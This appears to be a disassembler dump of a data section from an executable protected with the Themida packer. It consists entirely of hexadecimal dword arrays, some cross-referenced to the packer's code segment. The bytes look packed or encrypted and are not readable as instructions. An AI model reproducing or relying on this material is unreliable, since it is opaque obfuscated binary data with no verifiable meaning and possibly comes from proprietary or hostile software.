		dd 0C3E4112Eh, 0C91A5115h, 4AE75D16h, 0A649B911h, 0C3608FCCh
		dd 5D9B7596h, 85EB0432h, 6048A8B5h, 0B921D234h,	7BDF0844h
		dd 6526E07Dh, 711C32A9h, 0D35CDFBh, 751320A1h, 1ADE0C37h
		dd 0BC80AEDDh, 4DEA537Eh, 6E0F7628h, 0F3275607h, 23BB4AA4h
		dd 0B35D3CD9h, 0AD452653h, 2D9h, 0C438473h, 0F3A144B4h
		dd 1C321C12h, 1443E65Ch, 8C66D217h, 964FECA6h, 47EB8B00h
		dd 0AC1C7466h, 4FDA5B09h, 9F64E4BDh, 8AA1EA2Ah,	0D8066872h
		dd 56F969C1h, 57A5A9A8h, 983BB1E1h, 0A45580BEh,	0AFD60947h
		dd 2350ED8Fh, 0BFDC0F49h, 83C37192h, 0BEE4552h,	244F295h
		dd 8CEE4552h, 59937916h, 0F84CF526h, 9B9376E7h,	2F6DFh
		dd 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h, 0F5205E44h
		dd 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh, 9D6F326h
		dd 0A2347A28h, 61BA1326h, 0AC5A7B83h, 16C91AEAh, 0A25C2FF4h
		dd 9297E8EFh, 25A9330h,	0D815EF92h, 31DF0CA9h, 1C33E259h
		dd 19573152h, 0C6F6C0EEh, 1326CC80h, 4F3AF8B5h,	0FB535229h
		dd 9006E885h, 0ABD213EDh, 472E06FAh, 6401735Bh,	0F41F5D37h
		dd 96D0AAD7h, 0CE6B3563h, 4A85AAE8h, 78916617h,	677285A8h
		dd 0ABCCD705h, 356396D1h, 0A47B3B6Bh, 0D831326h, 754FB670h
		dd 558F63ACh, 0FF4EF122h, 0A9A17563h, 246EDh, 0FF266600h
		dd 91C0FCE2h, 22518E74h, 0B1E41F05h, 4570AE94h,	0F4BE2428h
		dd 886E8BB6h, 1D032047h, 0B096B3DEh, 59264376h,	0A384CA78h
		dd 0B10A1326h, 62A17BD3h, 0A23F0937h, 0FEA11169h, 33833A50h
		dd 0D8067C1Ch, 26AD0240h, 0BBDC7513h, 26AD490Dh, 42DF5513h
		dd 9D43680Dh, 93452064h, 15Dh, 5588C259h, 0F6296327h, 0D848A0D9h
		dd 230E8735h, 9A101C32h, 0CEED46Ch, 0D3141320h,	80BA7EACh
		dd 0D02F1F4Dh, 0F192F9A5h, 0C5792784h, 39774526h, 3E000000h
		dd 142F6F1Dh, 39AF1320h, 0D572A1DDh, 0A7176FA7h, 0C2E92A04h
		dd 594AF825h, 0AD1C3229h, 51710937h, 0A613200Bh, 0CBF2330Dh
		dd 136D39Dh, 0C6693774h, 92874526h, 4D000000h, 275588C2h
		dd 0BB92563h, 16C91A4Bh, 0E8D859FAh, 72CA6DA2h,	0A86C9AFCh
		dd 0D702416Eh, 49834775h, 213FF916h, 2516C9DCh,	629BB8EBh
		dd 49F79A0Ah, 1C2F4A68h
		dd 0CBA548BEh, 90BF628Dh, 0B9EF7B9Eh, 9F46E3A5h, 1B567BB9h
		dd 8EF0BAE8h, 8842A85Dh, 33EFE769h, 123h, 0BFDC0343h, 516E9DD9h
		dd 0E2FF2E6Bh, 718EC1FCh, 5224D8Bh, 9BD9E101h, 2C6D5370h
		dd 0C302E805h, 5B957B98h, 5D3E0B28h, 26A0EFAFh,	0B896EF13h
		dd 3C5984C2h, 0CCE91C56h, 63A17B9Eh, 0A3400A38h, 225083BDh
		dd 0D4F1245Eh, 85A478A7h, 2E5299h, 68D22A63h, 8D20027h
		dd 73D403A6h, 0BD14C23Ch, 0BC6A9734h, 1C3227D3h, 0E102A51Bh
		dd 914DCB07h, 0A11E7826h, 24EE1C7Eh, 3863A187h,	0C061611Bh
		dd 67A11320h, 0F3311734h, 608F9AC8h, 744473C9h,	9D7B18C3h
		dd 8Bh,	0A7176FDDh, 83285604h, 0BF761C33h, 26AD4D11h, 79DB5113h
		dd 1A4D874Bh, 1AFD0FDh,	1326ADBDh, 482ECB41h, 15ADDB0Eh
		dd 0C18C8780h, 0F11F4E8Ah, 96C4EF2Dh, 514D28C5h, 0E86190ABh
		dd 6F453731h, 75AA47h, 1A376AA4h, 0A778BEEDh, 0EB6D31DFh
		dd 0FB714EB8h, 1622664Ah, 26599379h, 0C6F934F8h, 383DB498h
		dd 0E2FF326Ch, 719CDBB5h, 0DE1D7943h, 0F63016B3h, 698A95C3h
		dd 0B8E7FBBBh, 91C4FF4Eh, 4826C339h, 3,	0C233A188h, 692D5B82h
		dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
		dd 3E023063h, 0E0A4D201h, 864775A4h, 2E8C68h, 242C8900h
		dd 5F8368h, 243C8900h, 528E68h,	240C8900h, 0EFB7A368h
		dd 243C8B05h, 5404C483h, 83240C8Bh, 525704C4h, 5A7223BAh
		dd 2454292Ah, 418F5A04h, 8418108h, 2A5A7223h, 592434FFh
		dd 0FF04C483h, 815F2434h, 4C4h,	0C3D9E900h, 96F0FFF9h
		dd 2C8806A0h, 0B8B3DFBDh, 5EFBBC7h, 0E0FFC503h,	5A452A25h
		dd 7934C24Ah, 1D5DE09h,	6351CB7Fh, 77DC94C2h, 0BCDE8D8Dh
		dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0EE1CA1C3h, 11E8859Ah, 8D000000h,	0B551044Ch
		dd 734CC29Fh, 9A69D8C2h, 6FF5C946h, 17D19D23h, 895E05E9h
		dd 0E926558Dh, 13E905h,	0BFC80000h, 96E06E60h, 0BF48190h
		dd 0F7221AD2h, 0BB066577h, 585C788h, 6005E908h,	0B800006Ch
		dd 60644E75h, 163D85C7h, 5E9h, 0B5090000h, 5E91E91h, 321DB5FFh
		dd 816605E9h, 0F8D62EF0h, 0BC595FFh, 0DA8B05E9h, 95FF006Ah
		dd 5E91E95h, 0EEBC08Bh,	85CA5300h, 0D56DCBB7h, 0BA7BCFFFh
		dd 5E82453h, 16000000h,	979A1092h, 0E2C3815Bh, 81000074h
		dd 0E9E0E5EFh, 0FFC9335Fh, 85231934h, 5E90B91h,	0A9B50B5Ah
		dd 8105E90Bh, 62579EEAh, 0F281F559h, 69EE3665h,	0FFB7C281h
		dd 0B70F42CFh, 0B1489C6h, 1F819589h, 858B05E9h,	5E92DC1h
		dd 0B003E983h, 0F9814915h, 0FFFF8BA0h, 16850Fh,	858B0000h
		dd 5E916E5h, 20E9h, 38B9400h, 0B7C31E04h, 0E35500A9h, 28F5858Bh
		dd 98E905E9h, 59FFFFFFh, 949C46C7h, 0A15D059h, 9E8E1h
		dd 91220000h, 1637410Ch, 8B677D9Fh, 0E90435B5h,	0C0815805h
		dd 70AAh, 0FBF78150h, 590711FEh, 3F004BBBh, 0B6F38134h
		dd 89343F1Bh, 0E9111D9Dh, 0B530FF05h, 0AE95A07h, 0A9000000h
		dd 0C8E4326h, 54D4A0D4h, 25F281DEh, 66215347h, 0B4FAEE81h
		dd 0F971C281h, 0F572E7Fh, 815FF2BFh, 0E414F8EAh, 0B9953117h
		dd 8905E927h, 8B665610h, 0E8835ECBh, 0A9BD8B03h, 4805E90Ch
		dd 14E9h, 23934000h, 0E1D15618h, 0C844AC80h, 52A1DAA5h
		dd 172D3CFAh, 850F4B1Eh, 12h, 2755BD2Bh, 19E905E9h, 1B000000h
		dd 0A047711Ah, 0BD236481h, 5E926E1h, 0FFFF7CE9h, 5053E6FFh
		dd 39BF575Ch, 0BD83C08Bh, 5E9164Dh, 83097500h, 0E91121BDh
		dd 19740005h, 0C08B5350h, 421B8h, 0B9858900h, 8D05E923h
		dd 0EBB8C49Dh, 5BD3FF05h, 21BD8358h, 5E911h, 53501774h
		dd 421B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h
		dd 8BC08B58h, 0E907699Dh, 0E585C605h, 5605E90Eh, 0A8B85268h
		dd 0FDB5FF9Ch, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h, 10006804h
		dd 0B5FF0000h, 5E91241h, 0D0FF006Ah, 850FC085h,	0Dh, 0B8h
		dd 0D48D8D00h, 0FF05E972h, 8BC88BE1h, 3C4003C3h, 0F805h
		dd 0C508B00h, 0BD83D303h, 5E92EB5h, 0E840F00h, 8B000000h
		dd 0E92EB59Dh, 11858B05h, 8905E909h, 8D525103h,	0E942B185h
		dd 8BD0FF05h, 8BF18BFAh, 0F3C88BD1h, 0E585C6A4h, 5605E90Eh
		dd 1F6D3968h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 68D0FF05h
		dd 8000h, 0FF52006Ah, 83C08BD0h, 0E9164DBDh, 9750005h
		dd 1121BD83h, 740005E9h, 8B535019h, 421B8C0h, 85890000h
		dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
		dd 50177400h, 421B853h,	85890000h, 5E905ADh, 0B5CC9D8Dh
		dd 0D3FF05EBh, 0C08B585Bh, 2EB59D8Dh, 38B05E9h,	840FC00Bh
		dd 7, 5B8B038Bh, 0B8188904h, 4B41h, 5E8h, 579CB700h, 99B5D1FFh
		dd 44B55358h, 6FC0815Bh, 33000072h, 0BE9FFh, 0ACB00000h
		dd 0E6D980D4h, 0E78E0C88h, 38148B39h, 8E426BBh,	97F2814Fh
		dd 8117C93Dh, 61039DF2h, 9BF2817Dh, 8B340C6Bh, 0AE952D8h
		dd 0F9000000h, 2B351FF5h, 0C89915E9h, 38048F60h, 8166CE8Bh
		dd 83488CC1h, 13E802EFh, 3C000000h, 0E77C3B61h,	1B66F87h
		dd 0DD520290h, 5AA3BF81h, 5BF9DC00h, 81F94F4Fh,	0FF8E40FFh
		dd 13850FFFh, 0F000000h, 25E9D8BFh, 74000000h, 67F79287h
		dd 883301ABh, 816643D3h, 0E995CFDEh, 0FFFFFF81h, 86A6648Eh
		dd 3C862D4h, 334E99F3h,	97CBB14Fh, 3BE9h, 0BD8B6000h, 5E9185Dh
		dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h
		dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h
		dd 0FFD3820Fh, 0C361FFFFh, 11E8C88Bh, 0E7000000h, 7FFC3227h
		dd 0EFE5DF1Fh, 474479D5h, 792E935Dh, 0AE8h, 6548AD00h
		dd 0F9F901B1h, 667F1A41h, 8510EF81h, 0BF66595Fh, 0C181C62Ch
		dd 706Ah, 6E8h,	6E979600h, 0F955BA6Dh, 60D22B5Bh, 188F0Fh
		dd 13E90000h, 71000000h, 0BD4A5173h, 953F815Dh,	0AA327D20h
		dd 11A0377Bh, 0E85341B0h, 5, 6FA4A4CBh,	61585F6Dh, 8111348Bh
		dd 4ADDABC6h, 5BFC573Eh, 359F681h, 0CE843C0h, 0E000000h
		dd 0A1B9702Ah, 0C9222CF7h, 6033D549h, 7BD68166h, 820F15h
		dd 61000000h, 3DF68158h, 81641C99h, 0EC77CE7h, 0D781560Ch
		dd 1172339Ah, 0F11048Fh, 281h, 66E38A00h, 8199BDBFh, 0BB6BF2EAh
		dd 12E95Fh, 7DA50000h, 94D0B25h, 0DF60D6D8h, 18D6403Ch
		dd 8D2F53D3h, 6BEEC281h, 5E95FBBh, 0D4000000h, 731728D4h
		dd 90B8FA81h, 850FFFFFh, 15h, 0E9C78B66h, 25h, 6FCF33CEh
		dd 0FD345D2Eh, 0A83BBDB0h, 4382B876h, 55E91F29h, 0D8FFFFFFh
		dd 0ADA8F896h, 0A2B8315Dh, 7F8D51ECh, 0FDED55A6h, 0F67A5E75h
		dd 0E669A476h, 0FD49BC56h, 0FD206CCAh, 0FD204228h, 0FD205569h
		dd 0FD20DCCFh, 0FD2019B9h, 0FD20FB97h, 0FD20897Ch, 0FD20315Dh
		dd 0FD206D48h, 0FD204277h, 0FD20554Ch, 0FD20DEA1h, 0FD201A02h
		dd 0FD20F8E3h, 0FD2089CCh, 0FD203088h, 0FD206CDCh, 358A259Dh
		dd 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h
		dd 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h
		dd 0FD7ABC75h, 0FD7A5E75h, 0A733AB76h, 0A7332375h, 0FD7ACB75h
		dd 0FC7BE475h
		dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 12BF82F0h, 0EEFFA670h
		dd 707F78B7h, 12BF39F0h, 2EFF6C70h, 707F1DB4h, 12BC49F0h
		dd 0F2FF3570h, 707FB1B7h, 12BFBFF0h, 2AFF1E70h,	707F24B4h
		dd 12BFAAF0h, 26FF7B70h, 707F96B4h, 12B951F0h, 22FFD770h
		dd 707FC0B4h, 12B968F0h, 1EFF4270h, 707F0AB4h, 12BEE7F0h
		dd 1AFFF070h, 707F53B4h, 12BE2EF0h, 0EFFA670h, 707F78B4h
		dd 12BEF7F0h, 16FF6C70h, 707F1DB4h, 12BE22F0h, 12FF3570h
		dd 707FB1B4h, 12BE5FF0h, 0EFF1E70h, 707F24B4h, 12BE4FF0h
		dd 0FEFF7B70h, 707F96B7h, 12BE75F0h, 0FAFFD770h, 707FC0B7h
		dd 12BE7BF0h, 0F6FF4270h, 707F0AB7h, 12BFC7F0h,	0AFFF070h
		dd 707F53B4h, 12BF32F0h, 6FFA670h, 707F78B4h, 12BCCCF0h
		dd 2FF6C70h, 767F1DB4h,	146A50F0h, 0B1FF3570h, 767FB1B7h
		dd 1456C2F0h, 0ADFF1E70h, 9C7F24B7h, 11F1B0B6h,	0FD7AF29Dh
		dd 17FB2375h, 0F8957F15h, 0F53FD525h, 3F31ADFDh, 3422929Ah
		dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 12B93D98h
		dd 2FFFA070h, 7D7FC0B4h, 12BB45C8h, 0B409CF70h,	4B75E4C5h
		dd 89BAF9B5h, 0ADEF8635h, 0BD7F53B7h, 452B96FEh, 0FD7A2F7Ah
		dd 3F2A028Ah, 48F7CE9Ah, 0F89524A6h, 50FCC6F8h,	0FD7E4B9Dh
		dd 456FCF75h, 0FD7A5E76h, 3F2ABA8Ah, 48F7929Ah,	0F8950AA6h
		dd 50FCD1F8h, 1F23228Ah, 2FF787BCh, 0A07F53B4h,	0A320052Dh
		dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 3F36708Ah, 3ED1F79Ah
		dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 0B1EFD0DEh, 9B7F78B7h
		dd 959208DEh, 0B7AE577h, 8872F336h, 0B1EF866Eh,	4D7F53B7h
		dd 0AD7954C5h, 3F36BA8Ah, 9B20929Ah, 9B7E2BF6h,	561C277Eh
		dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh
		dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h
		dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h
		dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h
		dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh,	0F8953039h
		dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h
		dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h
		dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h,	0FD7B439Dh
		dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h
		dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h
		dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h
		dd 0FD7AE2CDh, 0ADEF0D75h, 707F96B7h, 12B8ABC0h, 518A5D70h
		dd 2D02C7Fh, 12B8DBE0h,	0E5920870h, 4D7AE574h, 5779F825h
		dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh,	4DD0C7C5h
		dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah
		dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h,	3F5122FEh
		dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh
		dd 34FF69B6h, 7D7F24B4h, 12BB2CC8h, 0EC0FF370h,	3F41FCF8h
		dd 152AB99Ah, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh
		dd 0C30D8Ah, 9CCA0D8Ah,	34F787DFh, 7D7F53B4h, 12BB97C8h
		dd 0F10F2F70h, 3F4112F8h, 152ACE9Ah, 0FD7AE4DEh, 0FD7E4AB6h
		dd 68857975h, 0F8957E25h, 3BE2C3F8h, 0F9F02A9Ah, 4DB93D6Dh
		dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh,	3E783571h
		dd 3F36CB8Ah, 4ACE2A9Ah, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h
		dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h
		dd 0B1EF68B6h, 7D7F24B7h, 39FAEA91h, 9B7542F5h,	15D12EDEh
		dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh,	0FD7ACB73h
		dd 3F2A708Ah, 60F7F79Ah, 0F895BB5Ah, 3E39A0F8h,	0FD7A4ECDh
		dd 0ADEFD075h, 7E7F78B7h, 35F1CEB5h, 0B1EF1A89h, 577F1DB7h
		dd 15B98E97h, 28543BEh,	0D97B1DFFh, 778E5A72h, 0FC6C7F76h
		dd 1608CB75h, 8831DB6h,	11F1A789h, 9D86BDF6h, 0FD7ABC9Dh
		dd 17FB0475h, 0F895E9DDh, 7D86EAFCh, 12B880CFh,	7975E570h
		dd 0FD7AF2ECh, 0FD7A73CDh, 0ADE84375h, 0BD7FB1B7h, 3F2EADFCh
		dd 35F1929Ah, 3A0679F8h, 6F85E09Ah, 0F8953039h,	1F3C7FFDh
		dd 0FD6D0480h, 7F795E75h, 0F895ED21h, 8DE01A35h, 7E7F24B2h
		dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F8957E21h, 3A24ECF8h
		dd 59892A9Ah, 0FD722F2Bh, 6F85CB75h, 0F8952725h, 897E0AF6h
		dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
		dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
		dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah,	80F18489h
		dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
		dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
		dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 7290162Fh, 707F24B2h
		dd 12B8BDCFh, 0F50F7970h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
		dd 0A5E7A226h, 7D7F78B7h, 887BD349h, 1683BE71h,	3E82A977h
		dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F895E8BDh, 3F2225F8h
		dd 80F1CE9Ah, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
		dd 0F8959C2Dh, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 3F2258F8h
		dd 0C2FBF79Ah, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
		dd 9C82969Eh, 40F7ABB6h, 0F895272Dh, 0FD7AF3CDh, 0FD72C075h
		dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F8955510h,	0CA8BD08Ah
		dd 2AE9h, 2404C700h, 0
		dd 0E8h, 0ED815D00h, 5EFC848h, 424448Bh, 316D8589h, 0B805E9h
		dd 8D000000h, 0E94E6D8Dh, 0B8E1FF05h, 6754h, 0C93C8D8Dh
		dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6BD4B5C3h, 26558D89h, 0BD8905E9h,	5E923C1h
		dd 80585C7h, 5A9005E9h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B6516C3h, 0E904559Dh
		dd 3D85C705h, 5E916h, 0F000000h, 688h, 0C19D3100h, 0FF05E92Fh
		dd 0E92355B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 2574EC17h, 0BC595FFh
		dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0C6AD5C3h, 6911EB70h, 0D3ECBE66h,	1ED9BD09h
		dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 17055AEBh, 45F40B86h
		dd 6ADF1E28h, 0B867BE4Eh, 9FAA3E88h, 59E41DA1h,	5502A500h
		dd 94C60EDh, 156A1499h,	30044D9Ch, 54543A68h, 4D144A5Eh
		dd 0C998CAECh, 5C01CAE7h, 638D0D56h, 29A1F30Bh,	1B1DEE89h
		dd 6E69247Fh, 4736AA0Fh, 59A5112Fh, 0E5202D67h,	0E043608Ah
		dd 0E8B1DA15h
dword_5AAB68	dd 0ED6CAFEh, 8755A80Bh, 0F1D8A4Fh, 0D5ABA80Bh,	0FF575EAh
					; DATA XREF: Themida_:00563FD3o
		dd 8453A80Bh, 5DBA8A4Fh, 840857AEh, 0CE58A4Fh, 0D5ABA80Bh
		dd 0CAC75EAh, 857EA80Bh, 0D2E8A4Fh, 85F8A80Bh, 0DA08A4Fh
		dd 0D5ABA80Bh, 2F2575EAh, 0C59E6ED4h, 3FC00310h, 0A7514798h
		dd 4D8EBE90h, 8BD12154h, 2F4065DCh
dword_5AABC4	dd 0C59F23D4h, 7C00310h, 0A7514798h, 4D8E6990h,	87D12154h
					; DATA XREF: Themida_:00552911o
		dd 2F4065DCh, 0C59892D4h, 13C00310h, 0A7514798h, 4D890590h
		dd 93D12154h, 2F4065DCh, 0C5987BD4h, 1FC00310h,	0A7514798h
		dd 4D889690h, 0EFD12154h, 2F4065DCh, 0C599F5D4h, 6BC00310h
		dd 0A7514798h, 4D881490h, 0E7D12154h, 2F4065DCh, 0C59977D4h
		dd 73C00310h, 0A7514798h, 4D8B9290h, 0FFD12154h, 0C34065DCh
		dd 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh,	0C0D5F251h
		dd 0A7AA4095h, 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h
		dd 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh,	6B93AAEh
		dd 42848FFCh, 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch
		dd 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h
		dd 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh
		dd 0C597DEDBh, 12947510h, 0A0D90201h, 0A7AA4963h, 0A1EC79AEh
		dd 941AE51h, 0E92222DCh, 73BA8FFAh, 2ADF1037h, 28C82173h
		dd 2FBB6B27h, 2BFD5BEAh, 81508C15h, 61330098h, 0FBABADBEh
		dd 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh,	4ECEDF15h
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AA4155h, 0A15CDDDAh
		dd 0E7828668h, 2A54A8ADh, 30BACC15h, 2FBDB878h,	69CE529Eh
		dd 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A7AA4963h, 9A0D79AEh
		dd 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h
		dd 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h, 0BDBE290Bh
		dd 294065DEh, 57DFA024h, 5E004D19h, 2A54A851h, 8BD77553h
		dd 0A1514141h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh
		dd 0A7AA4963h, 9A0D79AEh, 1A232094h, 81328C65h,	0DF6E2184h
		dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h,	0A1345495h
		dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh
		dd 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h
		dd 55458A15h, 25862DA0h, 0A2458690h, 32A32851h,	0AA8E4B73h
		dd 4C972337h, 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh,	7F54A093h
		dd 66C6669Eh, 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h,	0E458A15h
		dd 22B769C2h, 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h
		dd 0A2459391h, 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh
		dd 0E25610E0h, 91EF4B93h, 577F0391h, 5E380319h,	0D6112330h
		dd 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h
		dd 2A54A851h, 229D00B9h, 0E1D4A7B2h, 8860085h, 0E92222DCh
		dd 73BA8FFAh, 0A7FEF8E1h, 4D86FC9Fh, 0A0855754h, 0DF6E20D6h
		dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h,	0A1345495h
		dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 4FD77515h
		dd 2651417Dh, 28C82045h, 2FBB6B27h, 2BF55BEAh, 86949BFBh
		dd 622E8531h, 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h
		dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch
		dd 0A2458AE9h, 0D5FE0451h, 4B55A387h, 868C2354h, 2FEF4917h
		dd 0C597DEDBh, 0C4947510h, 4CBD28E9h, 88600BEh,	0A358D57Ah
		dd 29247668h, 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h
		dd 0ED58D5DAh, 0A2457650h, 80F8A851h, 0B26C18EAh, 0E2DFADB8h
		dd 88558B9h, 0E92232DCh, 71BA8FFAh, 0E3941037h,	63CF2173h
		dd 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh
		dd 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 8654A851h, 8BD775BFh
		dd 0A1514141h, 637726DDh, 5CCE25FBh, 5D4065D6h,	0AAECCE82h
		dd 28EEECE4h, 577F0290h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 6B773273h, 0B0D90337h, 0A7AA4963h, 92327BAEh, 9234B95h
		dd 1FE04FDh, 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h,	0C6DFFD51h
		dd 0C2B94E96h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h
		dd 0A7FFCEB8h, 4D86FC8Fh, 9A875754h, 0E0320A0h,	5CCE25FBh
		dd 5D4065D6h, 0ACECCE82h, 89EEECD8h, 57DDA42Ch,	0E7CEEBE9h
		dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh,	0C0D5F251h
		dd 0A7AA447Dh, 2AA8ED96h, 29458A15h, 57DFA024h,	91792619h
		dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h,	2A492C5Eh
		dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh,	0FA798A15h
		dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0B7CE2559h
		dd 0F14065DCh, 0E02032DCh, 71BA8FFAh, 0C3A8EDD8h, 0A2458A42h
		dd 0D558DDAEh, 38C88260h, 2FBB61FCh, 0D6DF0746h, 0D551479Bh
		dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 4D8C338Fh
		dd 0B0D9FB54h, 0A7AA4061h, 6FDD7BAEh, 0A25863E9h, 5FABA851h
		dd 0AA307519h, 0E39132DCh, 2F168FFAh, 0C59EDCCBh, 2B967510h
		dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h
		dd 0AE8h, 0CA9F6D00h, 85BABDA9h, 0BE1F2027h, 5C3BF736h
		dd 0CE85Ah, 0F1260000h,	0EA01D065h, 3483BCCFh, 80BE638Bh
		dd 5E32C991h, 65C2C281h, 0DB810000h, 6D7BA751h,	193DB8h
		dd 840F00h, 8B000000h, 3AE3810Ah, 81380B1Ch, 4F9897E9h
		dd 0BE830h, 1F470000h, 86D9E017h, 0F1F1DAD5h, 13E8DEh
		dd 0FB1D0000h, 0FD111786h, 0A43F4A8Bh, 0FD62118h, 0D1D8DA22h
		dd 1C5BF53h, 5F5F22C1h,	34AAF181h, 870F4B10h, 1Ah, 13E956h
		dd 0D3F70000h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah
		dd 0E9815BB7h, 5CCC59AEh, 51D88B66h, 8FFAB70Fh,	12F68102h
		dd 831E22D4h, 9FB304EAh, 0F01E883h, 0FFFF7A85h,	9E9FFh
		dd 0D380000h, 8B40E72Fh, 0EB10952Fh, 16h, 4 dup(0)
		dd 0E4010100h, 0EF000003h, 0B5895105h, 5E90DD1h, 12E8505Bh
		dd 1A000000h, 35A50503h, 80ACFCB9h, 0DDF4A341h,	0C62E3603h
		dd 59CA8B34h, 8B240489h, 0E92A8195h, 0F006A05h,	681h, 7D8D8B00h
